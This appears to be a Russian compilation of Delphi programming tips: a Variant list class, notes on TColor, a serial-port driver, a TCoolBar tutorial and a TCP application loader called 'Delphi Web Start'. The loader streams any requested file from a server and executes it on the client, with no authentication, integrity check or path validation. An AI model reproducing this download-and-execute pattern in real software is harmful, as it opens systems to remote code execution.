Класс для реализации списка Variant-ов на основе TCollection.
Автор: Елена Филиппова Класс реализует коллекцию элементов типа Variant, которые могут интерпретироваться как Integer, String или Currency. Динамический список этих элементов может быть именованным, где каждому элементу присваивается имя. Это условие по умолчанию не обрабатывается, так что с этим классом можно работать просто как с динамическим списком величин типа Variant. Довольно удобно. Можно искать в списке по значению (IndexOF), по имени (GetValueFromName), удалять из списка. Функция JoinList возвращает строку из символьного представления всех элементов списка разделенных заданным сепаратором.Скачать файл ListUtils.zip (2K).
unit ListUtils;
interface
uses Classes, SysUtils;
type
TListsItem = class(TCollectionItem)
private
FValue: Variant;
FName: string;
protected
function GetAsInteger: LongInt;
procedure SetAsInteger(AValue: LongInt);
function GetAsString: string;
procedure SetAsString(AValue: string);
function GetAsCurrency: Currency;
procedure SetAsCurrency(AValue: Currency);
public
procedure AssignTo(Dest: TPersistent); override;
property Value: Variant read FValue write FValue;
property Name: string read FName write FName;
property AsInteger: LongInt read GetAsInteger write SetAsInteger;
property AsString: string read GetAsString write SetAsString;
property AsCurrency: Currency read GetAsCurrency write SetAsCurrency;
end;
TCollectionListItemClass = class(TListsItem);
TLists = class(TCollection)
private
function GetListItem(Index: Integer): TListsItem;
public
constructor Create(ItemClass: TCollectionItemClass);
function AddItem(Value: Variant; AName: string = ''): TListsItem;
procedure FillFromArray(ArValue: array of Variant);
procedure FillFromNamedArray(ArValue, ArName: array of Variant);
function IndexOf(Value: Variant): Integer;
function JoinList(Separator: string = ','): string;
function GetFromName(AName: string): TListsItem;
function GetValueFromName(AName: string; DefaultValue: Variant): Variant;
procedure DeleteFromValue(Value: Variant; All: Boolean = FALSE);
procedure DeleteFromName(AName: string);
property AnItems[Index: Integer]: TListsItem read GetListItem; default;
end;
implementation
//----------------------------------------------------------------------------------------
// TLists
//----------------------------------------------------------------------------------------
constructor TLists.Create(ItemClass: TCollectionItemClass);
begin
inherited Create(ItemClass);
end;
//----------------------------------------------------------------------------------------
function TLists.GetListItem(Index: Integer): TListsItem;
begin
Result := TListsItem(Items[Index]);
end;
//----------------------------------------------------------------------------------------
function TLists.AddItem(Value: Variant; AName: string = ''): TListsItem;
begin
Result := TListsItem(Self.Add);
Result.FValue := Value;
Result.FName := AName;
end;
//----------------------------------------------------------------------------------------
function TLists.IndexOf(Value: Variant): Integer;
begin
Result := 0;
while (Result < Count) and (AnItems[Result].Value <> Value) do
Inc(Result);
if Result = Count then
Result := -1;
end;
//----------------------------------------------------------------------------------------
function TLists.JoinList(Separator: string = ','): string;
var
i: Integer;
begin
Result := '';
if Count > 0 then
begin
for i := 0 to Count - 1 do
Result := Result + AnItems[i].AsString + Separator;
Result := Copy(Result, 1, Length(Result) - 1);
end;
end;
//----------------------------------------------------------------------------------------
procedure TLists.DeleteFromValue(Value: Variant; All: Boolean = FALSE);
var
i: Integer;
begin
i := IndexOf(Value);
if i >= 0 then
Delete(i);
end;
//----------------------------------------------------------------------------------------
procedure TLists.DeleteFromName(AName: string);
var
i: Integer;
AItem: TListsItem;
begin
AItem := GetFromName(AName);
if AItem <> nil then
Delete(AItem.Index);
end;
//----------------------------------------------------------------------------------------
function TLists.GetFromName(AName: string): TListsItem;
var
i: Integer;
begin
Result := nil;
for i := 0 to Count - 1 do
if CompareText(AnItems[i].FName, AName) = 0 then
begin
Result := AnItems[i];
Exit;
end;
end;
//----------------------------------------------------------------------------------------
function TLists.GetValueFromName(AName: string; DefaultValue: Variant): Variant;
begin
Result := DefaultValue;
if GetFromName(AName) <> nil then
Result := GetFromName(AName).Value;
end;
//----------------------------------------------------------------------------------------
procedure TLists.FillFromArray(ArValue: array of Variant);
var
i: Integer;
begin
Clear;
for i := Low(ArValue) to High(ArValue) do
AddItem(ArValue[i]);
end;
//----------------------------------------------------------------------------------------
procedure TLists.FillFromNamedArray(ArValue, ArName: array of Variant);
var
i, No: Integer;
begin
FillFromArray(ArValue);
No := High(ArName);
if No > High(ArValue) then
No := High(ArValue);
for i := Low(ArName) to No do
AnItems[i].FName := ArName[i];
end;
//----------------------------------------------------------------------------------------
//****************************************************************************************
//----------------------------------------------------------------------------------------
// TListItem
//----------------------------------------------------------------------------------------
procedure TListsItem.AssignTo(Dest: TPersistent);
begin
if Dest is TListsItem then
begin
TListsItem(Dest).FValue := FValue;
TListsItem(Dest).FName := FName;
end
else
inherited;
end;
//----------------------------------------------------------------------------------------
function TListsItem.GetAsInteger: LongInt;
begin
if TVarData(FValue).VType <> varNull then
Result := TVarData(FValue).vInteger
else
Result := 0;
end;
//----------------------------------------------------------------------------------------
procedure TListsItem.SetAsInteger(AValue: LongInt);
begin
FValue := AValue;
end;
//----------------------------------------------------------------------------------------
function TListsItem.GetAsString: string;
begin
Result := VarToStr(FValue);
end;
//----------------------------------------------------------------------------------------
procedure TListsItem.SetAsString(AValue: string);
begin
FValue := AValue;
end;
//----------------------------------------------------------------------------------------
function TListsItem.GetAsCurrency: Currency;
begin
if TVarData(FValue).VType <> varNull then
Result := TVarData(FValue).vCurrency
else
Result := 0;
end;
//----------------------------------------------------------------------------------------
procedure TListsItem.SetAsCurrency(AValue: Currency);
begin
FValue := AValue;
end;
//----------------------------------------------------------------------------------------
end.
|
TColor.
Что такое TColor
Для хранения цвета существует свой собственный тип, который называется TColor. Этот тип содержит информацию, как о самом цвете, так и том, каким образом его заменить, если, например, цветовая палитра системы не поддерживает этот цвет (скажем, установлено всего 256 цветов, а цвет, заданный в переменной, вылезает далеко за пределы этих 256 цветов).
Тип TColor состоит из четырех байт. Первый байт - указатель на замену цвета (о нем поговорим позже). Второй байт - яркость красного цвета от 0 до 255 (от 00 до FF). Третий байт - яркость зеленого цвета от 0 до 255 (от 00 до FF). И, наконец, четвертый байт - яркость синего цвета, также, от 0 до 255 (от 00 до FF).
А как Вы уже знаете, из этих трех цветов: красного, зеленого и синего, регулируя их яркость, можно составить практически любой цвет.
Поговорим теперь о первом байте - указателе на замену цвета. Итак, этот байт может принимать три различных значения - ноль ($00), единицу ($01) или двойку ($02). Что это значит:
Ноль ($00) - цвет, который не может быть воспроизведен точно, заменяется ближайшим цветом из системной палитры. Единица ($01) - цвет, который не может быть воспроизведен точно, заменяется ближайшим цветом из палитры, которая установлена сейчас. Двойка ($02) - цвет, который не может быть воспроизведен точно, заменяется ближайшим цветом из палитры, которую поддерживает текущее устройство вывода (в нашем случае - монитор).Видимо, всегда лучше устанавливать значение первого байта равным нулю ($00), по крайней мере, так происходит при получении типа TColor при помощи функции RGB.
И, напоследок, несколько примеров:
$00FFFFFF - белый цвет; $00000000 - черный цвет; $00800000 - темно-красный цвет. |
TComportDriver - драйвер последовательного порта.
| Автор: Marco Cocco |
| Идет программист по улице. Встречает девушек. - Девушки, хотите пива? - Нет! - Вина? - Нет! - Водки? - Нет! Программист думает про себя: "Странно, стандартные драйвера не подошли ". |
Скачать исходник - 10кб.
// -------------------------------------------------------
// | TComportDriver - A Basic Driver for the serial port |
// -------------------------------------------------------
// | © 1997 by Marco Cocco |
// | © 1998 enhanced by Angerer Bernhard |
// | © 2001 enhanced by Christophe Geers |
// -------------------------------------------------------
//I removed the TTimer and inserted a thread (TTimerThread) to simulate
//the function formerly done by the TTimer.TimerEvent.
//Further more the Readstring procedure has been adjusted. As soon as
//some input on the input buffer from the serial port has been detected
//the TTimerThread is supsended until all the data from the input buffer is read
//using the ReadString procedure......well go ahead and check it out for
//yourself.
//Tested with Delphi 6 Profesionnal / Enterprise on Windows 2000.
{$A+,B-,C+,D-,E-,F-,G+,H+,I+,J+,K-, L-,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y-,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $51000000}
{$APPTYPE GUI}
unit ComportDriverThread;
interface
uses
//Include "ExtCtrl" for the TTimer component.
Windows, Messages, SysUtils, Classes, Forms, ExtCtrls;
type
TComPortNumber = (pnCOM1,pnCOM2,pnCOM3,pnCOM4);
TComPortBaudRate = (br110,br300,br600,br1200,br2400,br4800,br9600,
br14400,br19200,br38400,br56000,br57600,br115200);
TComPortDataBits = (db5BITS,db6BITS,db7BITS,db8BITS);
TComPortStopBits = (sb1BITS,sb1HALFBITS,sb2BITS);
TComPortParity = (ptNONE,ptODD,ptEVEN,ptMARK,ptSPACE);
TComportHwHandshaking = (hhNONE,hhRTSCTS);
TComPortSwHandshaking = (shNONE,shXONXOFF);
TTimerThread = class(TThread)
private
{ Private declarations }
FOnTimer : TThreadMethod;
FEnabled: Boolean;
protected
{ Protected declarations }
procedure Execute; override;
procedure SupRes;
public
{ Public declarations }
published
{ Published declarations }
property Enabled: Boolean read FEnabled write FEnabled;
end;
TComportDriverThread = class(TComponent)
private
{ Private declarations }
FTimer : TTimerThread;
FOnReceiveData : TNotifyEvent;
FReceiving : Boolean;
protected
{ Protected declarations }
FComPortActive : Boolean;
FComportHandle : THandle;
FComportNumber : TComPortNumber;
FComportBaudRate : TComPortBaudRate;
FComportDataBits : TComPortDataBits;
FComportStopBits : TComPortStopBits;
FComportParity : TComPortParity;
FComportHwHandshaking : TComportHwHandshaking;
FComportSwHandshaking : TComPortSwHandshaking;
FComportInputBufferSize : Word;
FComportOutputBufferSize : Word;
FComportPollingDelay : Word;
FTimeOut : Integer;
FTempInputBuffer : Pointer;
procedure SetComPortActive(Value: Boolean);
procedure SetComPortNumber(Value: TComPortNumber);
procedure SetComPortBaudRate(Value: TComPortBaudRate);
procedure SetComPortDataBits(Value: TComPortDataBits);
procedure SetComPortStopBits(Value: TComPortStopBits);
procedure SetComPortParity(Value: TComPortParity);
procedure SetComPortHwHandshaking(Value: TComportHwHandshaking);
procedure SetComPortSwHandshaking(Value: TComPortSwHandshaking);
procedure SetComPortInputBufferSize(Value: Word);
procedure SetComPortOutputBufferSize(Value: Word);
procedure SetComPortPollingDelay(Value: Word);
procedure ApplyComPortSettings;
procedure TimerEvent; virtual;
procedure doDataReceived; virtual;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function Connect: Boolean;
function Disconnect: Boolean;
function Connected: Boolean;
function Disconnected: Boolean;
function SendData(DataPtr: Pointer; DataSize: Integer): Boolean;
function SendString(Input: string): Boolean;
function ReadString(var Str: string): Integer;
published
{ Published declarations }
property Active: Boolean read FComPortActive write SetComPortActive default False;
property ComPort: TComPortNumber read FComportNumber write SetComportNumber
default pnCOM1;
property ComPortSpeed: TComPortBaudRate read FComportBaudRate write
SetComportBaudRate default br9600;
property ComPortDataBits: TComPortDataBits read FComportDataBits write
SetComportDataBits default db8BITS;
property ComPortStopBits: TComPortStopBits read FComportStopBits write
SetComportStopBits default sb1BITS;
property ComPortParity: TComPortParity read FComportParity write
SetComportParity default ptNONE;
property ComPortHwHandshaking: TComportHwHandshaking read FComportHwHandshaking
write SetComportHwHandshaking default
hhNONE;
property ComPortSwHandshaking: TComPortSwHandshaking read FComportSwHandshaking
write SetComportSwHandshaking default
shNONE;
property ComPortInputBufferSize: Word read FComportInputBufferSize
write SetComportInputBufferSize default
2048;
property ComPortOutputBufferSize: Word read FComportOutputBufferSize
write SetComportOutputBufferSize default
2048;
property ComPortPollingDelay: Word read FComportPollingDelay write
SetComportPollingDelay default 100;
property OnReceiveData: TNotifyEvent read FOnReceiveData
write FOnReceiveData;
property TimeOut: Integer read FTimeOut write FTimeOut default 30;
end;
procedure register;
implementation
procedure register;
begin
RegisterComponents('Self-made Components', [TComportDriverThread]);
end;
{ TComportDriver }
constructor TComportDriverThread.Create(AOwner: TComponent);
begin
inherited;
FReceiving := False;
FComportHandle := 0;
FComportNumber := pnCOM1;
FComportBaudRate := br9600;
FComportDataBits := db8BITS;
FComportStopBits := sb1BITS;
FComportParity := ptNONE;
FComportHwHandshaking := hhNONE;
FComportSwHandshaking := shNONE;
FComportInputBufferSize := 2048;
FComportOutputBufferSize := 2048;
FOnReceiveData := nil;
FTimeOut := 30;
FComportPollingDelay := 500;
GetMem(FTempInputBuffer,FComportInputBufferSize);
if csDesigning in ComponentState then
Exit;
FTimer := TTimerThread.Create(False);
FTimer.FOnTimer := TimerEvent;
if FComPortActive then
FTimer.Enabled := True;
FTimer.SupRes;
end;
destructor TComportDriverThread.Destroy;
begin
Disconnect;
FreeMem(FTempInputBuffer,FComportInputBufferSize);
inherited Destroy;
end;
function TComportDriverThread.Connect: Boolean;
var
comName: array[0..4] of Char;
tms: TCommTimeouts;
begin
if Connected then
Exit;
StrPCopy(comName,'COM');
comName[3] := chr(ord('1') + ord(FComportNumber));
comName[4] := #0;
FComportHandle := CreateFile(comName,GENERIC_READ or GENERIC_WRITE,0,nil,
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
if not Connected then
Exit;
ApplyComPortSettings;
tms.ReadIntervalTimeout := 1;
tms.ReadTotalTimeoutMultiplier := 0;
tms.ReadTotalTimeoutConstant := 1;
tms.WriteTotalTimeoutMultiplier := 0;
tms.WriteTotalTimeoutConstant := 0;
SetCommTimeouts(FComportHandle,tms);
Sleep(1000);
end;
function TComportDriverThread.Connected: Boolean;
begin
Result := FComportHandle > 0;
end;
function TComportDriverThread.Disconnect: Boolean;
begin
Result := False;
if Connected then
begin
CloseHandle(FComportHandle);
FComportHandle := 0;
end;
Result := True;
end;
function TComportDriverThread.Disconnected: Boolean;
begin
if (FComportHandle <> 0) then
Result := False
else
Result := True;
end;
const
Win32BaudRates: array[br110..br115200] of DWORD =
(CBR_110,CBR_300,CBR_600,CBR_1200, CBR_2400,CBR_4800,CBR_9600,CBR_14400,
CBR_19200,CBR_38400,CBR_56000,CBR_57600,CBR_115200);
const
dcb_Binary = $00000001;
dcb_ParityCheck = $00000002;
dcb_OutxCtsFlow = $00000004;
dcb_OutxDsrFlow = $00000008;
dcb_DtrControlMask = $00000030;
dcb_DtrControlDisable = $00000000;
dcb_DtrControlEnable = $00000010;
dcb_DtrControlHandshake = $00000020;
dcb_DsrSensitvity = $00000040;
dcb_TXContinueOnXoff = $00000080;
dcb_OutX = $00000100;
dcb_InX = $00000200;
dcb_ErrorChar = $00000400;
dcb_NullStrip = $00000800;
dcb_RtsControlMask = $00003000;
dcb_RtsControlDisable = $00000000;
dcb_RtsControlEnable = $00001000;
dcb_RtsControlHandshake = $00002000;
dcb_RtsControlToggle = $00003000;
dcb_AbortOnError = $00004000;
dcb_Reserveds = $FFFF8000;
procedure TComportDriverThread.ApplyComPortSettings;
var
//Device Control Block (= dcb)
dcb: TDCB;
begin
if not Connected then
Exit;
FillChar(dcb,sizeOf(dcb),0);
dcb.DCBlength := sizeOf(dcb);
dcb.Flags := dcb_Binary or dcb_RtsControlEnable;
dcb.BaudRate := Win32BaudRates[FComPortBaudRate];
case FComportHwHandshaking of
hhNONE : ;
hhRTSCTS:
dcb.Flags := dcb.Flags or dcb_OutxCtsFlow or dcb_RtsControlHandshake;
end;
case FComportSwHandshaking of
shNONE : ;
shXONXOFF:
dcb.Flags := dcb.Flags or dcb_OutX or dcb_Inx;
end;
dcb.XonLim := FComportInputBufferSize div 4;
dcb.XoffLim := 1;
dcb.ByteSize := 5 + ord(FComportDataBits);
dcb.Parity := ord(FComportParity);
dcb.StopBits := ord(FComportStopBits);
dcb.XonChar := #17;
dcb.XoffChar := #19;
SetCommState(FComportHandle,dcb);
SetupComm(FComportHandle, FComPortInputBufferSize,FComPortOutputBufferSize);
end;
function TComportDriverThread.ReadString(var Str: string): Integer;
var
BytesTrans, nRead: DWORD;
Buffer : string;
i : Integer;
temp : string;
begin
BytesTrans := 0;
Str := '';
SetLength(Buffer,1);
ReadFile(FComportHandle,PChar(Buffer)^, 1, nRead, nil);
while nRead > 0 do
begin
temp := temp + PChar(Buffer);
ReadFile(FComportHandle,PChar(Buffer)^, 1, nRead, nil);
end;
//Remove the end token.
BytesTrans := Length(temp);
SetLength(str,BytesTrans-2);
for i:=0 to BytesTrans-2 do
begin
str[i] := temp[i];
end;
Result := BytesTrans;
end;
function TComportDriverThread.SendData(DataPtr: Pointer;
DataSize: Integer): Boolean;
var
nsent : DWORD;
begin
Result := WriteFile(FComportHandle,DataPtr^,DataSize,nsent,nil);
Result := Result and (nsent = DataSize);
end;
function TComportDriverThread.SendString(Input: string): Boolean;
begin
if not Connected then
if not Connect then
raise Exception.CreateHelp('Could not connect to COM-port !',101);
Result := SendData(PChar(Input),Length(Input));
if not Result then
raise Exception.CreateHelp('Could not send to COM-port !',102);
end;
procedure TComportDriverThread.TimerEvent;
var
InQueue, OutQueue: Integer;
Buffer : string;
nRead : DWORD;
procedure DataInBuffer(Handle: THandle; var aInQueue, aOutQueue: Integer);
var
ComStat : TComStat;
e : Cardinal;
begin
aInQueue := 0;
aOutQueue := 0;
if ClearCommError(Handle,e,@ComStat) then
begin
aInQueue := ComStat.cbInQue;
aOutQueue := ComStat.cbOutQue;
end;
end;
begin
if csDesigning in ComponentState then
Exit;
if not Connected then
if not Connect then
raise Exception.CreateHelp('TimerEvent: Could not connect to COM-port !',101);
Application.ProcessMessages;
if Connected then
begin
DataInBuffer(FComportHandle,InQueue,OutQueue);
if InQueue > 0 then
begin
if (Assigned(FOnReceiveData) ) then
begin
FReceiving := True;
FOnReceiveData(Self);
end;
end;
end;
end;
procedure TComportDriverThread.SetComportBaudRate(Value: TComPortBaudRate);
begin
FComportBaudRate := Value;
if Connected then
ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportDataBits(Value: TComPortDataBits);
begin
FComportDataBits := Value;
if Connected then
ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportHwHandshaking(Value: TComportHwHandshaking);
begin
FComportHwHandshaking := Value;
if Connected then
ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportInputBufferSize(Value: Word);
begin
FreeMem(FTempInputBuffer,FComportInputBufferSize);
FComportInputBufferSize := Value;
GetMem(FTempInputBuffer,FComportInputBufferSize);
if Connected then
ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportNumber(Value: TComPortNumber);
begin
if Connected then
exit;
FComportNumber := Value;
end;
procedure TComportDriverThread.SetComportOutputBufferSize(Value: Word);
begin
FComportOutputBufferSize := Value;
if Connected then
ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportParity(Value: TComPortParity);
begin
FComportParity := Value;
if Connected then
ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportPollingDelay(Value: Word);
begin
FComportPollingDelay := Value;
end;
procedure TComportDriverThread.SetComportStopBits(Value: TComPortStopBits);
begin
FComportStopBits := Value;
if Connected then
ApplyComPortSettings;
end;
procedure TComportDriverThread.SetComportSwHandshaking(Value: TComPortSwHandshaking);
begin
FComportSwHandshaking := Value;
if Connected then
ApplyComPortSettings;
end;
procedure TComportDriverThread.DoDataReceived;
begin
if Assigned(FOnReceiveData) then
FOnReceiveData(Self);
end;
procedure TComportDriverThread.SetComPortActive(Value: Boolean);
var
DumpString : string;
begin
FComPortActive := Value;
if csDesigning in ComponentState then
Exit;
if FComPortActive then
begin
//Just dump the contents of the input buffer of the com-port.
ReadString(DumpString);
FTimer.Enabled := True;
end
else
FTimer.Enabled := False;
FTimer.SupRes;
end;
{ TTimerThread }
procedure TTimerThread.Execute;
begin
Priority := tpNormal;
repeat
Sleep(500);
if Assigned(FOnTimer) then
Synchronize(FOnTimer);
until
Terminated;
end;
procedure TTimerThread.SupRes;
begin
if not Suspended then
Suspend;
if FEnabled then
Resume;
end;
end.
|
Использование компонента TCoolBar или как создавать кульные панели инструментов.
Оформил: DeeCo
(Перевод одноимённой статьи с сайта delphi.about.com)
Большинство современных приложений Windows имеют несколько панелей инструментов (тулбаров). В их числе, такие распространённые программные продукты как Microsoft Internet Explorer, MS Word и Delphi IDE. В этой статье рассказывается о компоненте-контейнере CoolBar, который может содержать другие компоненты, такие как тулбары, выпадающие списки и т.д.
TCoolBar
Компонент TCoolBar, это новая разновидность TToolBar. TCoolBar это элемент управления, который обычно содержит в себе два или более TCoolBand-ов, размеры и местоположение которых можно изменять во время выполнения программы. CoolBand в свою очередь является областью элемента управления, которая может содержать другие оконные контролы, главным образом панели инструментов, окошки редактирования, выпадающие списки и анимация.
Создать coolbar довольно просто: достаточно поместить компонент CoolBar из набора Win32 VCL на форму. У CoolBar-а есть довольно много настроек (настройка осуществляется через свойства): Align - по умолчанию, расположение Coolbar настроено на верхнюю часть окна, поэтому, чтобы изменить расположение кулбара, нам прийдётся подредактировать это свойство; Bitmap - используется для закрашивания фона CoolBar-а картинкой; свойство FixedOrder определяет, может ли пользователь переопределить порядок панелей.
TCoolBand
Как уже упоминалось выше, компонент Coolbar, это обычно набор объектов TCoolBand. Чтобы добавить несколько CoolBand-ов в CoolBar, нам потребуется вызвать редактор Coolbar Band-ов. Сделать это можно путём нажатия на значёк, расположенный сразу после свойства Bands.
Один из способов разместить компонент (или компонент-контейнер) на CoolBar-е, это перетащить его из палитры VCL, при этом автоматически создастся новый band для хранения компонента. Другой способ заключается в том, что компонент вставляется в форму напрямую, а затем, при помощи редактора CoolBar Band-ов связывается с каким либо CoolBand-ом. Далее на кулбар обычно добавлется Toolbar, путём простого перетаскивания его из палитры Win32 на Coolbar. Потом на тулбар добавляются одна или несколько кнопок.
Самая интересная возможность CoolBar-а, это то, что он может содержать в себе элементы управления, отличные от кнопок.
Давайте перетащим на CoolBar выпадающий список, окошко редактирования и один элемент анимации. Предположим, что у нас на форме присутствует компонент memo с некоторым текстом. Например, мы можем использовать окно редактирования для установки размера шрифта, выпадающий список для установки названия шрифта, а анимацию для отображения каких-либо событий, происходищих в программе.
Во время выполнения программы пользователь может изменять местоположение элементов управления путём перемещения и, тем самым меняя размер.
Вам хочется добавить ещё компонентов ? Как упоминалось выше, на CoolBar можно добавлять различные оконные компоненты. Оконные компоненты, это те, которые наследованы от TWinControl. Это значит, что Labels и Shapes, например, не получится добавить на CoolBar. Однако, если внимательно посмотреть на Delphi IDE, то можно обнаружить, что coolbar может так же содержать меню, хотя меню и не является оконным компонентом. Значит должен быть способ добавлять на кулбар неоконные компоненты!
Кульные менюшки на Cool Band-ах Итак, сперва, нам необходимо разместить на форме компонент MainMenu и добавить в него пункты при помощи Menu designer. Обратите внимание, что когда мы помещаем компонент TMainMenu на форму, то значение свойства формы Menu устанавливается в MainMenu1. Нам необходимо очистить это свойство и тем самым отключить объект MainMenu от формы, потому что нам необходимо использовать его в Coolbar-е. Далее, добавляем Toolbar в Coolbar а так же добавляем несколько ToolButton - один ToolButton для каждого выпадающего меню. Если, например, у Вас два меню верхнего уровня File и Edit, то добавить необходимо всего два ToolButton-а. Далее, устанавливаем свойства тулбара. Flat и ShowCaptions устанавливаем в True. Свойства AutoSize и Grouped компонента ToolButton так же должны быть установлены в True. И, в заключение, соединяем каждую кнопку с выпадающим меню, используя для этого свойство MenuItem.
Вот так должен выглядеть результат проделанных шагов (запущенная программа):
Немного программирования Во время выполнения приложения, можно добавлять CoolBand-ы. Следующий код, добавляет CoolBand на CoolBar с размещённым на нём TDateTimePicker.
procedure CreateDatePickerOnCoolBar; var dtPick: TDateTimePicker; begin dtPick := TDateTimePicker.Create(CoolBar1); dtPick.Parent := CoolBar1; CoolBar1.Bands.Items[Count-1].Text := 'Pick a date'; ... end;
ЗАМЕЧАНИЕ: как упоминалось раньше, размещение контрола в кулбаре заставляет объект TCoolBar создать TCoolBand и поместить элемент управления в band-е. При помощи "CoolBar1.Bands.Items[count - 1]" мы связываем текст с последним созданным TCoolBand. ЗАМЕЧАНИЕ2: Память компонента TDateTimePicker автоматически освобождается при освобождении памяти родителя. Происходит это, когда приложение завершается и CoolBar уничтожается формой.
Процедура CreateDatePickerOnCoolBar всего навсего создаёт TDateTimePicker на кулбаре CoolBar. Для того, чтобы использовать события TDateTimePicker, нам необходимо создать процедуры обработчиков событий. Не будем вдаваться в подробности создания объектов в Delphi. Для создания обработчика события для TDateTimePicker, нам необходимо написать метод (процедуру) некоторого объекта (обычно для этого выбирают главную форму) с таким же количеством параметров, с такими же типами и именами параметров. Затем, в коде, измените имя процедуры на такое же имя свойства TDateTimePicker, обрабатывать которое Вы хотите. После этого новая процедура автоматически станет обработчиком события для этого объекта.
В конце процедуры CreateDatePickerOnCoolBar добавьте.
... dtPick.OnCloseUp := dtpOnCloseUp;
OnCloseUp происходит, когда выпадающий календарь закрывается. А теперь используем это событие, чтобы передать дату из DateTimePicker в компонент Memo:
procedure TForm1.dtpOnCloseUp(Sender: TObject); begin Memo1.Lines.Add (DateToStr((Sender as TDateTimePicker).Date)); end;
Не забудьте разместить объявление процедуры dtpOnCloseUp секции интерфейса (interface) юнита формы (private или public).
TControlBar TCoolBar это стандартный Win32 элемент управления, который является частью операционной системы. Проверьте, присутствует ли компонент TControlBar на дополнительной закладке набора компонент. TControlBar это родной компонент VCL, который работает практически так же как и кул бар. Этот компонент не использует в своей работе COMCTL32.DLL, как это делает TCoolBar, поэтому менее восприимчив к прихотям Microsoft.
Ссылки См. демонстрашку Webbrows Delphi в директории coolstuf которая демонстрирует использование TCoolbar.
Компонент TMenubar. Это потомок TToolbar, имеющий свойство меню, которое позволяет связывать TMainMenu с панелью инструментов (toolbar). После этого компонент включает все пункты меню в тулбар.
Сделать загрузчик приложения через TCP.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Loading Delphi apps without a browser and on Win as Linux as well needs a
decision once.
With a loader on the client side, no further installation is in charge.
We had the requirement starting different Delphi apps from a
linux or windows server, wherever you are.
We call it Delphi Web Start (DWS).
The dws-client gets a list and after clicking on it, the app is
loading from server to client with just a stream.
First we had to choose between a ftp and a tcp solution. The
advantage of tcp is the freedom to define a separate port, which
was "services, port 9010 - DelphiWebStart".
You will need indy. Because it is simple to use and very fast.
The tcp-server comes from indy which has one great advantage:
CommandHandlers is a collection of text commands that will be
processed by the server. This property greatly simplify the
process of building servers based on text protocols.
First we start with DWS_Server,
so we define two command handlers:
}
CTR_LIST = 'return_list';
CTR_FILE = 'return_file';
{
By starting the tcp-server it returns with the first command
handler "CTR_LIST" a list of the apps:
}
procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
...
// comes with writeline from client
if sRequest = CTR_LIST then begin
for idx:= 0 to meData.Lines.Count - 1 do
athread.Connection.WriteLn(ExtractFileName(meData.Lines[idx]));
aThread.Connection.WriteLn('::END::');
aThread.Connection.Disconnect;
{
One word concerning the thread:
In the internal architecture there are 2 threads categories.
First is a listener thread that "listen" and waits for a
connection. So we don't have to worry about threads, the built in
thread will be served by indy though parameter:
}
IdTCPServer1Execute(AThread: TIdPeerThread)
{
When our dws-client is connected, this thread transfer all the
communication operations to another thread.
This technique is very efficient because your client application
will be able to connect any time, even if there are many
different connections to the server.
}
//The second command "CTR_FILE" transfers the app to the client:
if Pos(CTR_FILE, sRequest) > 0 then begin
iPos := Pos(CTR_FILE, sRequest);
FileName := GetFullPath(FileName);
if FileExists(FileName) then begin
lbStatus.Items.Insert(0, Format('%-20s %s',
[DateTimeToStr(now), 'Transfer starts ...']));
FileStream := TFileStream.Create(FileName, fmOpenRead +
fmShareDenyNone);
aThread.Connection.OpenWriteBuffer;
aThread.Connection.WriteStream(FileStream);
aThread.Connection.CloseWriteBuffer;
FreeAndNil(FileStream);
aThread.Connection.Disconnect;
{
Now let's have a look at the client side. The client connects to
the server, using the connect method of TIdTcpClient. In this
moment, the client sends any command to the server, in our case
(you remember DelphiWebStart) he gets the list of available apps:
}
with IdTCPClient1 do begin
if Connected then DisConnect;
showStatus;
Host:= edHost.Text;
Port:= StrToInt(edPort.Text);
Connect;
WriteLn(CTR_LIST);
//After clicking on his choice, the app will be served:
with IdTCPClient1 do begin
ExtractFileName(lbres.Items[lbres.ItemIndex])]));
WriteLn(CTR_FILE + lbres.Items[lbres.ItemIndex]);
FileName:= ExpandFileName(edPath.Text + '/' +
ExtractFileName(lbres.Items[lbres.ItemIndex]));
...
FileStream := TFileStream.Create(FileName, fmCreate);
while connected do begin
ReadStream(FileStream, -1, true);
....
{$IFDEF LINUX}
execv(pchar(filename),NIL);
//libc.system(pchar(filename));
{$ENDIF}
{$IFDEF MSWINDOWS}
// shellapi.WinExec('c:\testcua.bat', SW_SHOW);
with lbstatus.items do begin
case shellapi.shellExecute(0,'open', pchar(filename), '',NIL,
SW_SHOWNORMAL) of
0: insert(0, 'out of memory or resources');
ERROR_BAD_FORMAT: insert(0, 'file is invalid in image');
ERROR_FILE_NOT_FOUND: insert(0,'file was not found');
ERROR_PATH_NOT_FOUND: insert(0,'path was not found');
end;
Insert(0, Format('%-20s %s',
[DateTimeToStr(now), filename + ' Loaded...']));
end
{$ENDIF}
{
One note about execution on linux with libc-commands; there will
be better solutions (execute and wait and so on) and we still
work on it, so I'm curious about comments on
"Delphi Web Start"
therfore my aim is to publish improvments in a basic framework on
sourceforge.net depends on your feedback ;)
Many thanks to Dr. Karlheinz Morth with a first glance.
Test your server with the telnet program. Type telnet
hostname:9010 and then: 'return_list' and you'll get the list
from the apps you defined in a txt-file on the server.
}
meData.Lines.LoadFromFile(ExpandFileName(FILE_PATH));
{
I know that we haven't implement an error handling procedure,
but for our scope this example is almost
sufficient.
Code is available: http://max.kleiner.com/download/dws.zip
}
Организация связи между компьютерами через TCP и IP протокол.
Оформил: DeeCo
Автор: CyANiD.
Конечно, перед вами наверняка вставала проблема организации связи, ну или хотя бы вы желали установить её для разных целей..:).
Я попробую вам помочь. Для плодотворной работы у вас должны быть хоть какие-нибудь навыки программирования на Delphi, вы должны хоть чуть-чуть знать о TCP/IP и как это работает, ну и самое главное - сокеты. Может конечно попозже вы разберетесь, что это такое, но эту статью я рассчитываю на тех людей, кто хоть слышал это слово...
